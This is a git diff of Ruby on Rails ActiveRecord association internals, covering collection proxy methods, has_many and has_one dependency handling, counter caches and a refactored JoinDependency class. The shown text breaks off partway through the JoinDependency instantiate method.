expects_array = args.first.kind_of?(Array)
- ids = args.flatten.compact.map{ |arg| arg.to_i }.uniq
+ ids = args.flatten.compact.map(&:to_s).uniq
if ids.size == 1
id = ids.first
- record = load_target.detect { |r| id == r.id }
+ record = load_target.detect { |r| id == r.id.to_s }
expects_array ? [ record ] : record
else
- load_target.select { |r| ids.include?(r.id) }
+ load_target.select { |r| ids.include?(r.id.to_s) }
end
end
# Fetches the first/last using SQL if possible, otherwise from the target array.
- def first_or_last(type, *args)
+ def first_nth_or_last(type, *args)
args.shift if args.first.is_a?(Hash) && args.first.empty?
- collection = fetch_first_or_last_using_find?(args) ? scope : load_target
+ collection = fetch_first_nth_or_last_using_find?(args) ? scope : load_target
collection.send(type, *args).tap do |record|
set_inverse_instance record if record.is_a? ActiveRecord::Base
end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index 7c43e37cf2..060b2278d9 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -75,23 +75,23 @@ module ActiveRecord
# # #<Pet id: nil, name: "Choo-Choo">
# # ]
#
- # person.pets.select([:id, :name])
+ # person.pets.select(:id, :name )
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy">,
# # #<Pet id: 2, name: "Spook">,
# # #<Pet id: 3, name: "Choo-Choo">
# # ]
#
- # Be careful because this also means you’re initializing a model
- # object with only the fields that you’ve selected. If you attempt
- # to access a field that is not in the initialized record you’ll
+ # Be careful because this also means you're initializing a model
+ # object with only the fields that you've selected. If you attempt
+ # to access a field except +id+ that is not in the initialized record you'll
# receive:
#
# person.pets.select(:name).first.person_id
# # => ActiveModel::MissingAttributeError: missing attribute: person_id
#
# *Second:* You can pass a block so it can be used just like Array#select.
- # This build an array of objects from the database for the scope,
+ # This builds an array of objects from the database for the scope,
# converting them into an array and iterating through them using
# Array#select.
#
@@ -106,13 +106,13 @@ module ActiveRecord
# # #<Pet id: 2, name: "Spook">,
# # #<Pet id: 3, name: "Choo-Choo">
# # ]
- def select(select = nil, &block)
- @association.select(select, &block)
+ def select(*fields, &block)
+ @association.select(*fields, &block)
end
# Finds an object in the collection responding to the +id+. Uses the same
# rules as <tt>ActiveRecord::Base.find</tt>. Returns <tt>ActiveRecord::RecordNotFound</tt>
- # error if the object can not be found.
+ # error if the object cannot be found.
#
# class Person < ActiveRecord::Base
# has_many :pets
@@ -170,6 +170,32 @@ module ActiveRecord
@association.first(*args)
end
+ # Same as +first+ except returns only the second record.
+ def second(*args)
+ @association.second(*args)
+ end
+
+ # Same as +first+ except returns only the third record.
+ def third(*args)
+ @association.third(*args)
+ end
+
+ # Same as +first+ except returns only the fourth record.
+ def fourth(*args)
+ @association.fourth(*args)
+ end
+
+ # Same as +first+ except returns only the fifth record.
+ def fifth(*args)
+ @association.fifth(*args)
+ end
+
+ # Same as +first+ except returns only the forty second record.
+ # Also known as accessing "the reddit".
+ def forty_two(*args)
+ @association.forty_two(*args)
+ end
+
# Returns the last record, or the last +n+ records, from the collection.
# If the collection is empty, the first form returns +nil+, and the second
# form returns an empty array.
@@ -227,6 +253,7 @@ module ActiveRecord
def build(attributes = {}, &block)
@association.build(attributes, &block)
end
+ alias_method :new, :build
# Returns a new object of the collection type that has been instantiated with
# attributes, linked to this object and that has already been saved (if it
@@ -280,7 +307,7 @@ module ActiveRecord
# so method calls may be chained.
#
# class Person < ActiveRecord::Base
- # pets :has_many
+ # has_many :pets
# end
#
# person.pets.size # => 0
@@ -302,7 +329,7 @@ module ActiveRecord
@association.concat(*records)
end
- # Replace this collection with +other_array+. This will perform a diff
+ # Replaces this collection with +other_array+. This will perform a diff
# and delete/add only records that have changed.
#
# class Person < ActiveRecord::Base
@@ -328,14 +355,15 @@ module ActiveRecord
@association.replace(other_array)
end
- # Deletes all the records from the collection. For +has_many+ associations,
- # the deletion is done according to the strategy specified by the <tt>:dependent</tt>
- # option. Returns an array with the deleted records.
+ # Deletes all the records from the collection according to the strategy
+ # specified by the +:dependent+ option. If no +:dependent+ option is given,
+ # then it will follow the default strategy.
#
- # If no <tt>:dependent</tt> option is given, then it will follow the
- # default strategy. The default strategy is <tt>:nullify</tt>. This
- # sets the foreign keys to <tt>NULL</tt>. For, +has_many+ <tt>:through</tt>,
- # the default strategy is +delete_all+.
+ # For +has_many :through+ associations, the default deletion strategy is
+ # +:delete_all+.
+ #
+ # For +has_many+ associations, the default deletion strategy is +:nullify+.
+ # This sets the foreign keys to +NULL+.
#
# class Person < ActiveRecord::Base
# has_many :pets # dependent: :nullify option by default
@@ -366,9 +394,9 @@ module ActiveRecord
# # #<Pet id: 3, name: "Choo-Choo", person_id: nil>
# # ]
#
- # If it is set to <tt>:destroy</tt> all the objects from the collection
- # are removed by calling their +destroy+ method. See +destroy+ for more
- # information.
+ # Both +has_many+ and +has_many :through+ dependencies default to the
+ # +:delete_all+ strategy if the +:dependent+ option is set to +:destroy+.
+ # Records are not instantiated and callbacks will not be fired.
#
# class Person < ActiveRecord::Base
# has_many :pets, dependent: :destroy
@@ -383,11 +411,6 @@ module ActiveRecord
# # ]
#
# person.pets.delete_all
- # # => [
- # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
- # # #<Pet id: 2, name: "Spook", person_id: 1>,
- # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
- # # ]
#
# Pet.find(1, 2, 3)
# # => ActiveRecord::RecordNotFound
@@ -408,21 +431,17 @@ module ActiveRecord
# # ]
#
# person.pets.delete_all
- # # => [
- # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
- # # #<Pet id: 2, name: "Spook", person_id: 1>,
- # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
- # # ]
#
# Pet.find(1, 2, 3)
# # => ActiveRecord::RecordNotFound
- def delete_all
- @association.delete_all
+ def delete_all(dependent = nil)
+ @association.delete_all(dependent)
end
- # Deletes the records of the collection directly from the database.
- # This will _always_ remove the records ignoring the +:dependent+
- # option.
+ # Deletes the records of the collection directly from the database
+ # ignoring the +:dependent+ option. Records are instantiated and it
+ # invokes +before_remove+, +after_remove+ , +before_destroy+ and
+ # +after_destroy+ callbacks.
#
# class Person < ActiveRecord::Base
# has_many :pets
@@ -648,11 +667,12 @@ module ActiveRecord
# # #<Pet name: "Fancy-Fancy">
# # ]
#
- # person.pets.select(:name).uniq
+ # person.pets.select(:name).distinct
# # => [#<Pet name: "Fancy-Fancy">]
- def uniq
- @association.uniq
+ def distinct
+ @association.distinct
end
+ alias uniq distinct
# Count all records using SQL.
#
@@ -668,6 +688,8 @@ module ActiveRecord
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
def count(column_name = nil, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
@association.count(column_name, options)
end
@@ -724,7 +746,7 @@ module ActiveRecord
end
# Returns +true+ if the collection is empty. If the collection has been
- # loaded or the <tt>:counter_sql</tt> option is provided, it is equivalent
+ # loaded it is equivalent
# to <tt>collection.size.zero?</tt>. If the collection has not been loaded,
# it is equivalent to <tt>collection.exists?</tt>. If the collection has
# not already been loaded and you are going to fetch the records anyway it
@@ -758,7 +780,7 @@ module ActiveRecord
# person.pets.count # => 0
# person.pets.any? # => true
#
- # You can also pass a block to define criteria. The behaviour
+ # You can also pass a +block+ to define criteria. The behavior
# is the same, it returns true if the collection based on the
# criteria is not empty.
#
@@ -785,15 +807,15 @@ module ActiveRecord
# has_many :pets
# end
#
- # person.pets.count #=> 1
- # person.pets.many? #=> false
+ # person.pets.count # => 1
+ # person.pets.many? # => false
#
# person.pets << Pet.new(name: 'Snoopy')
- # person.pets.count #=> 2
- # person.pets.many? #=> true
+ # person.pets.count # => 2
+ # person.pets.many? # => true
#
- # You can also pass a block to define criteria. The
- # behaviour is the same, it returns true if the collection
+ # You can also pass a +block+ to define criteria. The
+ # behavior is the same, it returns true if the collection
# based on the criteria has more than one record.
#
# person.pets
@@ -816,7 +838,7 @@ module ActiveRecord
@association.many?(&block)
end
- # Returns +true+ if the given object is present in the collection.
+ # Returns +true+ if the given +record+ is present in the collection.
#
# class Person < ActiveRecord::Base
# has_many :pets
@@ -827,10 +849,12 @@ module ActiveRecord
# person.pets.include?(Pet.find(20)) # => true
# person.pets.include?(Pet.find(21)) # => false
def include?(record)
- @association.include?(record)
+ !!@association.include?(record)
end
- alias_method :new, :build
+ def arel
+ scope.arel
+ end
def proxy_association
@association
@@ -846,19 +870,13 @@ module ActiveRecord
# Returns a <tt>Relation</tt> object for the records in this association
def scope
- association = @association
-
- @association.scope.extending! do
- define_method(:proxy_association) { association }
- end
+ @association.scope
end
-
- # :nodoc:
alias spawn scope
# Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
# contain the same number of elements and if each element is equal
- # to the corresponding element in the other array, otherwise returns
+ # to the corresponding element in the +other+ array, otherwise returns
# +false+.
#
# class Person < ActiveRecord::Base
@@ -923,7 +941,7 @@ module ActiveRecord
alias_method :to_a, :to_ary
# Adds one or more +records+ to the collection by setting their foreign keys
- # to the association‘s primary key. Returns +self+, so several appends may be
+ # to the association's primary key. Returns +self+, so several appends may be
# chained together.
#
# class Person < ActiveRecord::Base
@@ -946,6 +964,11 @@ module ActiveRecord
proxy_association.concat(records) && self
end
alias_method :push, :<<
+ alias_method :append, :<<
+
+ def prepend(*args)
+ raise NoMethodError, "prepend on association is not defined. Please use << or append"
+ end
# Equivalent to +delete_all+. The difference is that returns +self+, instead
# of an array with the deleted objects, so methods can be chained. See
@@ -977,6 +1000,28 @@ module ActiveRecord
proxy_association.reload
self
end
+
+ # Unloads the association. Returns +self+.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets # fetches pets from the database
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ #
+ # person.pets # uses the pets cache
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ #
+ # person.pets.reset # clears the pets cache
+ #
+ # person.pets # fetches pets from the database
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ def reset
+ proxy_association.reset
+ proxy_association.reset_scope
+ self
+ end
end
end
end
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
deleted file mode 100644
index 93618721bb..0000000000
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-module ActiveRecord
- # = Active Record Has And Belongs To Many Association
- module Associations
- class HasAndBelongsToManyAssociation < CollectionAssociation #:nodoc:
- attr_reader :join_table
-
- def initialize(owner, reflection)
- @join_table = Arel::Table.new(reflection.join_table)
- super
- end
-
- def insert_record(record, validate = true, raise = false)
- if record.new_record?
- if raise
- record.save!(:validate => validate)
- else
- return unless record.save(:validate => validate)
- end
- end
-
- if options[:insert_sql]
- owner.connection.insert(interpolate(options[:insert_sql], record))
- else
- stmt = join_table.compile_insert(
- join_table[reflection.foreign_key] => owner.id,
- join_table[reflection.association_foreign_key] => record.id
- )
-
- owner.connection.insert stmt
- end
-
- record
- end
-
- private
-
- def count_records
- load_target.size
- end
-
- def delete_records(records, method)
- if sql = options[:delete_sql]
- records = load_target if records == :all
- records.each { |record| owner.connection.delete(interpolate(sql, record)) }
- else
- relation = join_table
- condition = relation[reflection.foreign_key].eq(owner.id)
-
- unless records == :all
- condition = condition.and(
- relation[reflection.association_foreign_key]
- .in(records.map { |x| x.id }.compact)
- )
- end
-
- owner.connection.delete(relation.where(condition).compile_delete)
- end
- end
-
- def invertible_for?(record)
- false
- end
- end
- end
-end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index f59565ae77..93084e0dcf 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -9,7 +9,7 @@ module ActiveRecord
def handle_dependency
case options[:dependent]
- when :restrict, :restrict_with_exception
+ when :restrict_with_exception
raise ActiveRecord::DeleteRestrictionError.new(reflection.name) unless empty?
when :restrict_with_error
@@ -22,15 +22,17 @@ module ActiveRecord
else
if options[:dependent] == :destroy
# No point in executing the counter update since we're going to destroy the parent anyway
- load_target.each(&:mark_for_destruction)
+ load_target.each { |t| t.destroyed_by_association = reflection }
+ destroy_all
+ else
+ delete_all
end
-
- delete_all
end
end
def insert_record(record, validate = true, raise = false)
set_owner_attributes(record)
+ set_inverse_instance(record)
if raise
record.save!(:validate => validate)
@@ -39,6 +41,14 @@ module ActiveRecord
end
end
+ def empty?
+ if has_cached_counter?
+ size.zero?
+ else
+ super
+ end
+ end
+
private
# Returns the number of records in this collection.
@@ -56,9 +66,7 @@ module ActiveRecord
# the loaded flag is set to true as well.
def count_records
count = if has_cached_counter?
- owner.send(:read_attribute, cached_counter_attribute_name)
- elsif options[:counter_sql] || options[:finder_sql]
- reflection.klass.count_by_sql(custom_counter_sql)
+ owner._read_attribute cached_counter_attribute_name
else
scope.count
end
@@ -71,20 +79,31 @@ module ActiveRecord
[association_scope.limit_value, count].compact.min
end
- def has_cached_counter?(reflection = reflection)
+ def has_cached_counter?(reflection = reflection())
owner.attribute_present?(cached_counter_attribute_name(reflection))
end
- def cached_counter_attribute_name(reflection = reflection)
+ def cached_counter_attribute_name(reflection = reflection())
options[:counter_cache] || "#{reflection.name}_count"
end
- def update_counter(difference, reflection = reflection)
+ def update_counter(difference, reflection = reflection())
+ update_counter_in_database(difference, reflection)
+ update_counter_in_memory(difference, reflection)
+ end
+
+ def update_counter_in_database(difference, reflection = reflection())
if has_cached_counter?(reflection)
counter = cached_counter_attribute_name(reflection)
owner.class.update_counters(owner.id, counter => difference)
+ end
+ end
+
+ def update_counter_in_memory(difference, reflection = reflection())
+ if has_cached_counter?(reflection)
+ counter = cached_counter_attribute_name(reflection)
owner[counter] += difference
- owner.changed_attributes.delete(counter) # eww
+ owner.send(:clear_attribute_changes, counter) # eww
end
end
@@ -98,36 +117,67 @@ module ActiveRecord
# it will be decremented twice.
#
# Hence this method.
- def inverse_updates_counter_cache?(reflection = reflection)
+ def inverse_updates_counter_cache?(reflection = reflection())
counter_name = cached_counter_attribute_name(reflection)
- reflection.klass.reflect_on_all_associations(:belongs_to).any? { |inverse_reflection|
+ inverse_updates_counter_named?(counter_name, reflection)
+ end
+
+ def inverse_updates_counter_named?(counter_name, reflection = reflection())
+ reflection.klass._reflections.values.any? { |inverse_reflection|
+ inverse_reflection.belongs_to? &&
inverse_reflection.counter_cache_column == counter_name
}
end
+ def delete_count(method, scope)
+ if method == :delete_all
+ scope.delete_all
+ else
+ scope.update_all(reflection.foreign_key => nil)
+ end
+ end
+
+ def delete_or_nullify_all_records(method)
+ count = delete_count(method, self.scope)
+ update_counter(-count)
+ end
+
# Deletes the records according to the <tt>:dependent</tt> option.
def delete_records(records, method)
if method == :destroy
- records.each { |r| r.destroy }
+ records.each(&:destroy!)
update_counter(-records.length) unless inverse_updates_counter_cache?
else
- if records == :all
- scope = self.scope
- else
- keys = records.map { |r| r[reflection.association_primary_key] }
- scope = self.scope.where(reflection.association_primary_key => keys)
- end
-
- if method == :delete_all
- update_counter(-scope.delete_all)
- else
- update_counter(-scope.update_all(reflection.foreign_key => nil))
- end
+ scope = self.scope.where(reflection.klass.primary_key => records)
+ update_counter(-delete_count(method, scope))
end
end
def foreign_key_present?
- owner.attribute_present?(reflection.association_primary_key)
+ if reflection.klass.primary_key
+ owner.attribute_present?(reflection.association_primary_key)
+ else
+ false
+ end
+ end
+
+ def concat_records(records, *)
+ update_counter_if_success(super, records.length)
+ end
+
+ def _create_record(attributes, *)
+ if attributes.is_a?(Array)
+ super
+ else
+ update_counter_if_success(super, 1)
+ end
+ end
+
+ def update_counter_if_success(saved_successfully, difference)
+ if saved_successfully
+ update_counter_in_memory(difference)
+ end
+ saved_successfully
end
end
end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index c7d8a84a7e..3f4d3bfc08 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/string/filters'
module ActiveRecord
# = Active Record Has Many Through Association
@@ -12,25 +13,25 @@ module ActiveRecord
@through_association = nil
end
- # Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been
- # loaded and calling collection.size if it has. If it's more likely than not that the collection does
- # have a size larger than zero, and you need to fetch that collection afterwards, it'll take one fewer
- # SELECT query if you use #length.
+ # Returns the size of the collection by executing a SELECT COUNT(*) query
+ # if the collection hasn't been loaded, and by calling collection.size if
+ # it has. If the collection will likely have a size greater than zero,
+ # and if fetching the collection will be needed afterwards, one less
+ # SELECT query will be generated by using #length instead.
def size
if has_cached_counter?
- owner.send(:read_attribute, cached_counter_attribute_name)
+ owner._read_attribute cached_counter_attribute_name(reflection)
elsif loaded?
target.size
else
- count
+ super
end
end
def concat(*records)
unless owner.new_record?
records.flatten.each do |record|
- raise_on_type_mismatch(record)
- record.save! if record.new_record?
+ raise_on_type_mismatch!(record)
end
end
@@ -40,7 +41,7 @@ module ActiveRecord
def concat_records(records)
ensure_not_nested
- records = super
+ records = super(records, true)
if owner.new_record? && records
records.flatten.each do |record|
@@ -63,7 +64,16 @@ module ActiveRecord
end
save_through_record(record)
- update_counter(1)
+ if has_cached_counter? && !through_reflection_updates_counter_cache?
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Automatic updating of counter caches on through associations has been
+ deprecated, and will be removed in Rails 5. Instead, please set the
+ appropriate `counter_cache` options on the `has_many` and `belongs_to`
+ for your associations to #{through_reflection.name}.
+ MSG
+
+ update_counter_in_database(1)
+ end
record
end
@@ -73,23 +83,31 @@ module ActiveRecord
@through_association ||= owner.association(through_reflection.name)
end
- # We temporarily cache through record that has been build, because if we build a
- # through record in build_record and then subsequently call insert_record, then we
- # want to use the exact same object.
+ # The through record (built with build_record) is temporarily cached
+ # so that it may be reused if insert_record is subsequently called.
#
- # However, after insert_record has been called, we clear the cache entry because
- # we want it to be possible to have multiple instances of the same record in an
- # association
+ # However, after insert_record has been called, the cache is cleared in
+ # order to allow multiple instances of the same record in an association.
def build_through_record(record)
@through_records[record.object_id] ||= begin
ensure_mutable
- through_record = through_association.build
+ through_record = through_association.build(*options_for_through_record)
through_record.send("#{source_reflection.name}=", record)
through_record
end
end
+ def options_for_through_record
+ [through_scope_attributes]
+ end
+
+ def through_scope_attributes
+ scope.where_values_hash(through_association.reflection.name.to_s).
+ except!(through_association.reflection.foreign_key,
+ through_association.reflection.klass.inheritance_column)
+ end
+
def save_through_record(record)
build_through_record(record).save!
ensure
@@ -103,9 +121,9 @@ module ActiveRecord
inverse = source_reflection.inverse_of
if inverse
- if inverse.macro == :has_many
+ if inverse.collection?
record.send(inverse.name) << build_through_record(record)
- elsif inverse.macro == :has_one
+ elsif inverse.has_one?
record.send("#{inverse.name}=", build_through_record(record))
end
end
@@ -114,11 +132,7 @@ module ActiveRecord
end
def target_reflection_has_associated_record?
- if through_reflection.macro == :belongs_to && owner[through_reflection.foreign_key].blank?
- false
- else
- true
- end
+ !(through_reflection.belongs_to? && owner[through_reflection.foreign_key].blank?)
end
def update_through_counter?(method)
@@ -132,19 +146,31 @@ module ActiveRecord
end
end
+ def delete_or_nullify_all_records(method)
+ delete_records(load_target, method)
+ end
+
def delete_records(records, method)
ensure_not_nested
- # This is unoptimised; it will load all the target records
- # even when we just want to delete everything.
- records = load_target if records == :all
-
scope = through_association.scope
scope.where! construct_join_attributes(*records)
case method
when :destroy
- count = scope.destroy_all.length
+ if scope.klass.primary_key
+ count = scope.destroy_all.length
+ else
+ scope.each(&:_run_destroy_callbacks)
+
+ arel = scope.arel
+
+ stmt = Arel::DeleteManager.new
+ stmt.from scope.klass.arel_table
+ stmt.wheres = arel.constraints
+
+ count = scope.klass.connection.delete(stmt, 'SQL', scope.bind_values)
+ end
when :nullify
count = scope.update_all(source_reflection.foreign_key => nil)
else
@@ -153,7 +179,12 @@ module ActiveRecord
delete_through_records(records)
- if through_reflection.macro == :has_many && update_through_counter?(method)
+ if source_reflection.options[:counter_cache] && method != :destroy
+ counter = source_reflection.counter_cache_column
+ klass.decrement_counter counter, records.map(&:id)
+ end
+
+ if through_reflection.collection? && update_through_counter?(method)
update_counter(-count, through_reflection)
end
@@ -163,14 +194,18 @@ module ActiveRecord
def through_records_for(record)
attributes = construct_join_attributes(record)
candidates = Array.wrap(through_association.target)
- candidates.find_all { |c| c.attributes.slice(*attributes.keys) == attributes }
+ candidates.find_all do |c|
+ attributes.all? do |key, value|
+ c.public_send(key) == value
+ end
+ end
end
def delete_through_records(records)
records.each do |record|
through_records = through_records_for(record)
- if through_reflection.macro == :has_many
+ if through_reflection.collection?
through_records.each { |r| through_association.target.delete(r) }
else
if through_records.include?(through_association.target)
@@ -184,13 +219,18 @@ module ActiveRecord
def find_target
return [] unless target_reflection_has_associated_record?
- scope.to_a
+ get_records
end
# NOTE - not sure that we can actually cope with inverses here
def invertible_for?(record)
false
end
+
+ def through_reflection_updates_counter_cache?
+ counter_name = cached_counter_attribute_name
+ inverse_updates_counter_named?(counter_name, through_reflection)
+ end
end
end
end
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
index ee816d2392..e6095d84dc 100644
--- a/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
# = Active Record Belongs To Has One Association
module Associations
@@ -6,7 +5,7 @@ module ActiveRecord
def handle_dependency
case options[:dependent]
- when :restrict, :restrict_with_exception
+ when :restrict_with_exception
raise ActiveRecord::DeleteRestrictionError.new(reflection.name) if load_target
when :restrict_with_error
@@ -22,20 +21,23 @@ module ActiveRecord
end
def replace(record, save = true)
- raise_on_type_mismatch(record) if record
+ raise_on_type_mismatch!(record) if record
load_target
- # If target and record are nil, or target is equal to record,
- # we don't need to have transaction.
- if (target || record) && target != record
+ return self.target if !(target || record)
+
+ assigning_another_record = target != record
+ if assigning_another_record || record.changed?
+ save &&= owner.persisted?
+
transaction_if(save) do
- remove_target!(options[:dependent]) if target && !target.destroyed?
+ remove_target!(options[:dependent]) if target && !target.destroyed? && assigning_another_record
if record
set_owner_attributes(record)
set_inverse_instance(record)
- if owner.persisted? && save && !record.save
+ if save && !record.save
nullify_owner_attributes(record)
set_owner_attributes(target) if target
raise RecordNotSaved, "Failed to save the new associated #{reflection.name}."
diff --git a/activerecord/lib/active_record/associations/has_one_through_association.rb b/activerecord/lib/active_record/associations/has_one_through_association.rb
index fdf8ae1453..08e0ec691f 100644
--- a/activerecord/lib/active_record/associations/has_one_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_through_association.rb
@@ -23,7 +23,7 @@ module ActiveRecord
attributes = construct_join_attributes(record)
if through_record
- through_record.update_attributes(attributes)
+ through_record.update(attributes)
elsif owner.new_record?
through_proxy.build(attributes)
else
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
index cd366ac8b7..cf63430a97 100644
--- a/activerecord/lib/active_record/associations/join_dependency.rb
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -1,213 +1,281 @@
module ActiveRecord
module Associations
class JoinDependency # :nodoc:
- autoload :JoinPart, 'active_record/associations/join_dependency/join_part'
autoload :JoinBase, 'active_record/associations/join_dependency/join_base'
autoload :JoinAssociation, 'active_record/associations/join_dependency/join_association'
- attr_reader :join_parts, :reflections, :alias_tracker, :active_record
-
- def initialize(base, associations, joins)
- @active_record = base
- @table_joins = joins
- @join_parts = [JoinBase.new(base)]
- @associations = {}
- @reflections = []
- @alias_tracker = AliasTracker.new(base.connection, joins)
- @alias_tracker.aliased_name_for(base.table_name) # Updates the count for base.table_name to 1
- build(associations)
- end
-
- def graft(*associations)
- associations.each do |association|
- join_associations.detect {|a| association == a} ||
- build(association.reflection.name, association.find_parent_in(self) || join_base, association.join_type)
- end
- self
- end
-
- def join_associations
- join_parts.last(join_parts.length - 1)
- end
-
- def join_base
- join_parts.first
- end
-
- def columns
- join_parts.collect { |join_part|
- table = join_part.aliased_table
- join_part.column_names_with_alias.collect{ |column_name, aliased_name|
- table[column_name].as Arel.sql(aliased_name)
+ class Aliases # :nodoc:
+ def initialize(tables)
+ @tables = tables
+ @alias_cache = tables.each_with_object({}) { |table,h|
+ h[table.node] = table.columns.each_with_object({}) { |column,i|
+ i[column.name] = column.alias
+ }
}
- }.flatten
- end
+ @name_and_alias_cache = tables.each_with_object({}) { |table,h|
+ h[table.node] = table.columns.map { |column|
+ [column.name, column.alias]
+ }
+ }
+ end
- def instantiate(rows)
- primary_key = join_base.aliased_primary_key
- parents = {}
+ def columns
+ @tables.flat_map(&:column_aliases)
+ end
- records = rows.map { |model|
- primary_id = model[primary_key]
- parent = parents[primary_id] ||= join_base.instantiate(model)
- construct(parent, @associations, join_associations, model)
- parent
- }.uniq
+ # An array of [column_name, alias] pairs for the table
+ def column_aliases(node)
+ @name_and_alias_cache[node]
+ end
- remove_duplicate_results!(active_record, records, @associations)
- records
- end
+ def column_alias(node, column)
+ @alias_cache[node][column]
+ end
- def remove_duplicate_results!(base, records, associations)
- case associations
- when Symbol, String
- reflection = base.reflections[associations]
- remove_uniq_by_reflection(reflection, records)
- when Array
- associations.each do |association|
- remove_duplicate_results!(base, records, association)
+ class Table < Struct.new(:node, :columns)
+ def table
+ Arel::Nodes::TableAlias.new node.table, node.aliased_table_name
end
- when Hash
- associations.keys.each do |name|
- reflection = base.reflections[name]
- remove_uniq_by_reflection(reflection, records)
-
- parent_records = []
- records.each do |record|
- if descendant = record.send(reflection.name)
- if reflection.collection?
- parent_records.concat descendant.target.uniq
- else
- parent_records << descendant
- end
- end
- end
- remove_duplicate_results!(reflection.klass, parent_records, associations[name]) unless parent_records.empty?
+ def column_aliases
+ t = table
+ columns.map { |column| t[column.name].as Arel.sql column.alias }
end
end
+ Column = Struct.new(:name, :alias)
end
- protected
+ attr_reader :alias_tracker, :base_klass, :join_root
- def cache_joined_association(association)
- associations = []
- parent = association.parent
- while parent != join_base
- associations.unshift(parent.reflection.name)
- parent = parent.parent
- end
- ref = @associations
- associations.each do |key|
- ref = ref[key]
- end
- ref[association.reflection.name] ||= {}
+ def self.make_tree(associations)
+ hash = {}
+ walk_tree associations, hash
+ hash
end
- def build(associations, parent = nil, join_type = Arel::InnerJoin)
- parent ||= join_parts.last
+ def self.walk_tree(associations, hash)
case associations
when Symbol, String
- reflection = parent.reflections[associations.to_s.intern] or
- raise ConfigurationError, "Association named '#{ associations }' was not found; perhaps you misspelled it?"
- unless join_association = find_join_association(reflection, parent)
- @reflections << reflection
- join_association = build_join_association(reflection, parent)
- join_association.join_type = join_type
- @join_parts << join_association
- cache_joined_association(join_association)
- end
- join_association
+ hash[associations.to_sym] ||= {}
when Array
- associations.each do |association|
- build(association, parent, join_type)
+ associations.each do |assoc|
+ walk_tree assoc, hash
end
when Hash
- associations.keys.sort_by { |a| a.to_s }.each do |name|
- join_association = build(name, parent, join_type)
- build(associations[name], join_association, join_type)
+ associations.each do |k,v|
+ cache = hash[k] ||= {}
+ walk_tree v, cache
end
else
raise ConfigurationError, associations.inspect
end
end
- def find_join_association(name_or_reflection, parent)
- if String === name_or_reflection
- name_or_reflection = name_or_reflection.to_sym
- end
+ # base is the base class on which operation is taking place.
+ # associations is the list of associations which are joined using hash, symbol or array.
+ # joins is the list of all string join commands and arel nodes.
+ #
+ # Example :
+ #
+ # class Physician < ActiveRecord::Base
+ # has_many :appointments
+ # has_many :patients, through: :appointments
+ # end
+ #
+ # If I execute `@physician.patients.to_a` then
+ # base # => Physician
+ # associations # => []
+ # joins # => [#<Arel::Nodes::InnerJoin: ...]
+ #
+ # However if I execute `Physician.joins(:appointments).to_a` then
+ # base # => Physician
+ # associations # => [:appointments]
+ # joins # => []
+ #
+ def initialize(base, associations, joins)
+ @alias_tracker = AliasTracker.create(base.connection, joins)
+ @alias_tracker.aliased_table_for(base.table_name, base.table_name) # Updates the count for base.table_name to 1
+ tree = self.class.make_tree associations
+ @join_root = JoinBase.new base, build(tree, base)
+ @join_root.children.each { |child| construct_tables! @join_root, child }
+ end
- join_associations.detect { |j|
- j.reflection == name_or_reflection && j.parent == parent
+ def reflections
+ join_root.drop(1).map!(&:reflection)
+ end
+
+ def join_constraints(outer_joins)
+ joins = join_root.children.flat_map { |child|
+ make_inner_joins join_root, child
+ }
+
+ joins.concat outer_joins.flat_map { |oj|
+ if join_root.match? oj.join_root
+ walk join_root, oj.join_root
+ else
+ oj.join_root.children.flat_map { |child|
+ make_outer_joins oj.join_root, child
+ }
+ end
+ }
+ end
+
+ def aliases
+ Aliases.new join_root.each_with_index.map { |join_part,i|
+ columns = join_part.column_names.each_with_index.map { |column_name,j|
+ Aliases::Column.new column_name, "t#{i}_r#{j}"
+ }
+ Aliases::Table.new(join_part, columns)
}
end
- def remove_uniq_by_reflection(reflection, records)
- if reflection && reflection.collection?
- records.each { |record| record.send(reflection.name).target.uniq! }
+ def instantiate(result_set, aliases)
+ primary_key = aliases.column_alias(join_root, join_root.primary_key)
+
+ seen = Hash.new { |h,parent_klass|
+ h[parent_klass] = Hash.new { |i,parent_id|
+ i[parent_id] = Hash.new { |j,child_klass| j[child_klass] = {} }
+ }
+ }
+
+ model_cache = Hash.new { |h,klass| h[klass] = {} }
+ parents = model_cache[join_root]
